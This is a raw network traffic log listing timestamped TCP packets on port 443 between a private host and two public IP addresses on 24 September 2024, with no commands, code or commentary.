Sep 24, 2024 06:30:41.413477898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413485050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413666964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413681984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413724899 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413732052 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413755894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413779974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413786888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413810015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413825035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413829088 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413836002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413883924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.413914919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413958073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.413966894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414019108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414083004 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414098024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414127111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414207935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414207935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414218903 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414243937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414263964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414278984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414294004 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414367914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414376974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414391041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414449930 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414541006 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414582014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414591074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.414661884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.414805889 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:41.619404078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:41.619641066 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.047408104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.047574043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.875406981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.875614882 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.884430885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.884438992 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884449005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884459019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884581089 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.884588003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884602070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884756088 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.884762049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884774923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884778976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884912014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.884917974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884938955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884958029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.884960890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885072947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.885082006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885102987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885133982 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.885140896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885158062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885289907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.885298014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885385036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.885394096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:42.885418892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:42.885550976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.091408968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.091593027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.381891012 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.381910086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.381925106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.381938934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.381954908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382077932 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382086039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382112026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382132053 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382138014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382153988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382328033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382337093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382358074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382380009 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382405043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382411957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382433891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382525921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382534981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382543087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382610083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382617950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382695913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382713079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382735014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382762909 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382771015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382869005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382880926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382908106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.382934093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.382942915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383019924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383034945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383058071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383083105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383093119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383208990 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383218050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383239031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383270979 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383276939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383403063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383413076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383433104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383568048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383568048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383655071 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383665085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.383685112 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.383790970 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:43.591414928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:43.591480017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:44.027414083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:44.027563095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:44.859433889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:44.859533072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.210366011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.210381985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210395098 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210531950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.210537910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210556030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210562944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210796118 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.210807085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210820913 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210829973 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.210975885 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.210983038 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211033106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211049080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211275101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.211275101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.211282015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211297035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211322069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211360931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211390972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.211395025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211527109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.211535931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211605072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.211613894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.211683989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.211841106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.419431925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.419693947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644011021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644021988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644037962 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644052982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644215107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644222021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644243002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644267082 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644345999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644345999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644364119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644467115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644467115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644479036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644505024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644521952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644541025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644558907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644740105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644747972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644895077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644895077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644907951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644927979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644957066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.644972086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.644982100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645004034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645042896 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645044088 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645052910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645060062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645071030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645150900 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645159006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645243883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645251989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645277977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645303011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645313978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645426989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645437002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645458937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645478010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645488024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645591021 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645600080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645618916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645658016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645664930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645689964 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645776987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645869017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645886898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.645951986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.645951986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:45.855412006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:45.855528116 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:46.267406940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:46.267532110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:46.918234110 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:46.918272972 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:46.918392897 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:46.919609070 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:46.919622898 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:47.103403091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.103565931 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.178988934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179018974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179038048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179137945 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179150105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179169893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179286957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179300070 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179311037 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179325104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179367065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179377079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179505110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179519892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179538012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179558039 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179562092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179768085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179783106 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179802895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179836988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179867029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179867029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.179891109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.179913044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.180021048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.180032015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.180207014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.180327892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.180327892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.180341959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.180440903 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.387411118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.387501955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.555202007 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:47.555605888 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:47.555625916 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:47.555974007 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:47.556512117 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:47.556572914 CEST	443	49752	142.250.186.68	192.168.2.9
Sep 24, 2024 06:30:47.610563993 CEST	49752	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:30:47.683363914 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.683403015 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.683423996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.683430910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.683820009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.683835983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.683866978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.683891058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684108973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684123993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684139013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684173107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684195995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684195995 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684220076 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684242010 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684256077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684319019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684331894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684350014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684438944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684449911 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684540987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684552908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684583902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684655905 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684669971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684741020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684752941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684781075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684839010 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684850931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.684988976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.684988976 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685008049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685029984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685045958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685081005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685101986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685137033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685161114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685201883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685368061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685390949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685390949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685466051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685496092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685511112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.685612917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.685709000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:47.895410061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:47.895572901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:48.319399118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:48.319483042 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.128655910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.128680944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128696918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128705978 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128809929 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.128818035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128834963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:49.128892899 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:49.128892899 CEST	49748	443	192.168.2.9	188.114.97.3
